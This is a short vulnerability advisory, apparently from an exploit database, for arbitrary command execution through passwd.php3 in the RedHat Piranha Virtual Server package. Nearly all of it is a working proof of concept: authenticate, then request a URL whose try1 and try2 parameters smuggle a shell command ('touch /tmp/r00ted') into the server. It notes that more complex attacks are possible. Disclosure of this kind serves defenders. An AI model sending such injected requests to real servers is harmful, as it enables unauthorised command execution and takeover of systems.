RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution Vulnerability

RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution Vulnerability

Execute the following url, using a username and password to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible.